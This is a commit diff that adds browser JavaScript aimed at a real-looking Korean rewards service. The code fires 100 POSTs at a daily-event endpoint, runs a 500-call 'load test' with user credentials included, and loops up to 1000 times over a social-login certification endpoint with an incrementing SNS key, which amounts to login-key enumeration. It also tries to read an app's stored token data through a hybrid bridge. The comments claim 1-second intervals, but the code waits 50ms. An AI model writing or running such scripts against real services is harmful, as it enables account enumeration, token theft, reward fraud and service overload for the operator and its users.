This commit is contained in:
2026-01-07 18:13:43 +09:00
parent 578f3f96ad
commit dc6b95108f
8 changed files with 531 additions and 38 deletions
@@ -153,16 +153,90 @@
}
for (let i = 0; i < 100 ; i++) {
var url = "/nhpot/maa/joinDailyEvt.ajax";
var type = "post";
var data = { EVT_ID : '10174'
, EVT_DTL_TP_C : '0312'
, WATER : 'Y'
};
var async = true;
submitAjax(url, type, async, data)
}
/**
* 지정된 시간(ms)만큼 기다리는 Promise를 반환합니다.
* @param {number} ms - 기다릴 밀리초
*/
/**
* API에 순차적으로 부하 테스트를 실행하는 함수
* @param {number} totalCalls - 총 테스트 호출 횟수
*/
async function startSequentialLoadTest(totalCalls = 100) {
// ⭐️ 여기에 테스트할 실제 API URL을 입력하세요.
const API_ENDPOINT = 'https://api.example.com/your-endpoint';
let successfulCalls = 0;
let failedCalls = 0;
console.log(`[부하 테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
console.log(`대상 URL: ${API_ENDPOINT}`);
for (let i = 1; i <= totalCalls; i++) {
const startTime = performance.now(); // 요청 시작 시간
try {
// 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
const response = await fetch("https://m.nhmembers.co.kr/nhpot/pnt/ajaxGetPntTupPointCvList.ajax", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "no-cache",
"pragma": "no-cache",
"sec-ch-ua": "\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Android WebView\";v=\"140\"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "\"Android\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "https://m.nhmembers.co.kr/nhpot/pnt/pntTupPointCvIndex.snh?menuId=AC03050000",
"body": null,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
// 2. HTTP 응답 상태 코드로 성공/실패를 판단합니다.
if (!response.ok) {
// 200-299 범위 외의 상태 코드는 에러로 간주
throw new Error(`HTTP error! status: ${response.status}`);
}
// (선택 사항) 응답 데이터를 JSON으로 파싱
// const data = await response.json();
console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms)`);
successfulCalls++;
} catch (error) {
// 3. 네트워크 오류 또는 fetch 실패 시 처리
const duration = (performance.now() - startTime).toFixed(2);
console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
failedCalls++;
}
// 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
if (i < totalCalls) {
await delay(50); // 1000ms = 1초
}
}
console.log('--------------------');
console.log('[부하 테스트 완료]');
console.log(`성공: ${successfulCalls}회`);
console.log(`실패: ${failedCalls}회`);
console.log('--------------------');
}
startSequentialLoadTest(500);
// 재귀적으로 모든 사진 ID를 가져오는 함수
async function fetchAllPhotos(offset) {
@@ -220,6 +294,91 @@
};
}, 1500); // transition 시간과 동일하게 설정
}
const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
async function testCall(totalCalls = 5000) {
console.log(`현 주소 : ${location.href}`)
var SNS_TP_C = "01";// # 네이버: 01, 카카오: 02
var SNS_ATTC_KEY = 59711004
let successfulCalls = 0;
let failedCalls = 0;
console.log(`[테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`);
for (let i = 0; i <= totalCalls; i++) {
const startTime = performance.now(); // 요청 시작 시간
var data = data = {
"CERT_PURPOSE": "",
"SNS_TP_C": SNS_TP_C,
"SNS_ATTC_KEY": SNS_ATTC_KEY + i,
"RQR_PATH_C": "03",
"AP_AUT_LGIN_YN": "N",
"TRM_NATV_ID": "98330320250312105723",
"PRL_CHAN_C": "",
"TRM_OS_C": "01",
"OPI_CI": "MEMBERS",
"OPI_RRRC": "",
"OPI_RRRD": "",
"OPI_EXPIRE_TIME": "",
"OPI_ACCESS_TOKEN": "",
"OPI_DEVICE_ID": "",
"OPI_RESULT_CODE": "",
"ANW_AP_PUSH_YN": "Y",
"OPI_JOIN_YN": "",
"AD_ID": "fd42945f-3d3d-485a-8a33-e6ac40eae597",
"isLoginPage": "Y"
}
try {
// 1. fetch 요청을 보내고 완료될 때까지 기다립니다.
const response = await fetch("https://m.nhmembers.co.kr/nhpot/login/snsLoginCertNew.ajax", {
"headers": {
"User-Agent" : "NH_MEMBERS_ANDROID2.0.021",
},
"body": data,
"method": "POST",
});
const duration = (performance.now() - startTime).toFixed(2); // 응답 시간
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const {resultCode , resultMessage} = await response.json();
console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms) SNS_ATT:${SNS_ATTC_KEY + i} ${resultCode} : ${resultMessage}`);
if (resultCode !== '9999') {
successfulCalls++;
} else {
failedCalls++;
}
} catch (error) {
// 3. 네트워크 오류 또는 fetch 실패 시 처리
const duration = (performance.now() - startTime).toFixed(2);
console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`);
failedCalls++;
}
// 4. 마지막 호출이 아닐 경우, 1초간 대기합니다.
if (i < totalCalls) {
await delay(50); // 1000ms = 1초
}
}
console.log('--------------------');
console.log('[로그인 테스트 완료]');
console.log(`성공: ${successfulCalls}회`);
console.log(`실패: ${failedCalls}회`);
console.log('--------------------');
try {
hybridaction.action('{"package": "com.nh.android.nhmembers.plugin","class": "HPPreference", "action": "get", "request_id": "testrequest", "callback": "document.write", "argument": {"key": "__TOKEN_DATA__"}}')
} catch(error) {
console.log(error)
}
}
testCall(1000);
</script>
</body>
</html>